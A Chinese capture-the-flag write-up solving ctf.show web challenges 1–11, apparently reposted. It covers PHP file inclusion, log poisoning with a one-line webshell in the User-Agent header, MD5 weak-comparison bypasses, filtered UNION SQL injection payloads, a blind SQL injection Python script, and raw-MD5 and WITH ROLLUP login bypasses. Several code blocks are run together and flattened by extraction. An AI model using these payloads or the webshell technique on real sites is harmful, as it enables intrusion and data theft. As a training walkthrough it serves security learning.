web1
源码
web2
最基本的sql注入
web3
考点:php伪协议
ctf.show_web3
<?php include($_GET['url']);?>
文件包含漏洞,使用php伪协议探测
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/form-data"时,php://input将会无效
然后使用文件包含
web4
考点:日志注入
web3的升级,过滤了php伪协议,使用日志注入
访问
/var/log/nginx/access.log
可以查看到我们输入的参数记录
在user-agent种写入一句话木马
因为日志文件中的代码会被执行。
然后用蚁剑连接(连接目标:http://xxx/?url=/var/log/nginx/access.log)在www目录下找到flag.txt
web5
考点:php代码审计
<?php$flag="";$v1=$_GET['v1'];$v2=$_GET['v2'];if(isset($v1)&&isset($v2)){if(!ctype_alpha($v1)){die("v1 error");}if(!is_numeric($v2)){die("v2 error");}if(md5($v1)==md5($v2)){echo$flag;}}else{echo"where is flag?";}?>
ctype_alpha用来检测是否只含有字符,不是则为false
is_numeric用于检测是否是纯数字
绕过方法:如果是以数字开头的字符串,使用is_numeric的时候会自动去掉后面的字符,将其前面的数字取出来判断
eg:a=1234abc在is_numeric判断时会当做1234
最后一个if是php的弱等于
弱等于判断的时候,如果两边的类型不同,则先是将类型转换成相同的,再进行比较
MD5弱等于绕过:有些字符md5后的值为0e开头,会被当做科学计数法,也就是0.所以当找到2个字符md5后的值都为0e开头时即可绕过
常用的值:
开头为0E(MD5值) 字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
任意使用2个即可
web6
web2的升级版,做了过滤
fuzz一下
发现空格被过滤了
绕过方法:内联注释/**/, %a0等
参考:SQL注入一些过滤及绕过总结
这里使用/**/进行绕过
数据库名:
-1'/**/union/**/select/**/1,database(),3/**/#
表名:
-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/#
字段名:
-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/#
查flag内容:
-1'/**/union/**/select/**/1,flag,3/**/from/**/flag/**/#
web7
与we6相同
考点:sql注入 注入点的寻找
看到形如?id=1这样的就联想到sql注入
永真式测试:
存在sql注入但是被过滤了。fuzz一下和web6一样依然是过滤空格
绕过参考第6题,使用/**/
寻找回显点:
-1'/**/union/**/select/**/1,2,3/**/#
回显点:2,3
后面和web6一样
web8
考点:sql盲注
依旧是sql注入,fuzz一波先
单引号、空格、union、逗号等被过滤了
猜测是数字型注入
测试:
?id=1/**/or/**/1=1#
回显全部
-1/**/or/**/1=2#
无回显
考虑盲注
注意:逗号被过滤了,substr中可以用from for 来绕过,单引号被过滤了,表名可以用十六进制来表示
脚本:
import requests
target ="http://83f0f603-456d-4fd9-8c36-6c452e42c2b4.challenge.ctf.show/index.php?id=-1/**/or/**/"
result =''for i inrange(1,128):#database_payload = "ascii(substr(database()/**/from/**/%d/**/for/**/1))=%d#" #获取数据库名#table_payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d"#column_payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/%d/**/for/**/1))=%d"
flag_payload ="ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d"
count =0for j inrange(31,128):
r = requests.get(url=target+flag_payload %(i,j))#自行切换payloadif"If"in r.text:#返回true的页面存在If
result +=chr(j)print("result:%s"% result)break
count +=1if count >=97:#字符不存在,循环结束
exit()
web9
考点:MD5加密
登录页,尝试sql注入无果,以为是弱口令,也没爆破出来
不知道做什么的时候就扫扫目录试试。发现robots.txt文件
访问
访问index.phps,下载源码:
<?php$flag="";$password=$_POST['password'];if(strlen($password)>10){die("password error");}$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){echo"登陆成功<br>";echo$flag;}}?>
漏洞点:
select * from user where username ='admin' and password ='".md5($password,true)."'
md5()函数
当参数为true时,返回的是字符二进制格式
漏洞利用字符:
ffifdyop
经过参数为true的md5加密后为:
'or'6xxx
因此拼接到sql语句中就是
select * from user where username ='admin' and password =''or'6xxx'
非0数字在or后面被当做true,故满足条件
web10
考点:sql注入-with rollup
点击取消下载得到源码:
<?php$flag="";functionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";returnpreg_replace($regex,"",$strParam);}if(!$con){die('Could not connect: '.mysqli_error());}if(strlen($username)!=strlen(replaceSpecialChar($username))){die("sql inject error");}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}$sql="select * from user where username = '$username'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo"登陆成功<br>";echo$flag;}}}?>
定义了过滤函数,对username和password进行过滤,然后判断输入的password是否对应根据我们输入的username从数据库中查到的密码
解题思路:with rollup注入
with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
例如:
可以看到最后一行就是使用with rollup的效果, 增添了一行数据,对group by指定的字段为Null,其余字段进行汇总
所以我们如果使用永真式1’ or 1=1 之后会把所有的用户名和密码查出来,其中有password字段,这时我们group by password字段再with rollup就会生成一个新行,这一行的password字段为Null
while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo"登陆成功<br>";echo$flag;}
经过将结果集循环遍历最后就会取出为Null的password值。这个时候只要输入框中password为空就会Null==Null
通过判断
payload:
'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
web11
考点:session
<?phpfunctionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";returnpreg_replace($regex,"",$strParam);}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}if($password==$_SESSION['password']){echo$flag;}else{echo"error";}?>
$_SESSION用于获取session中记录的值
这里是获取session中存的password的值,由于不知道session中password中的值,可以直接将其置空,然后输入也为空即可
版权归原作者 pakho_C 所有, 如有侵权,请联系我们删除。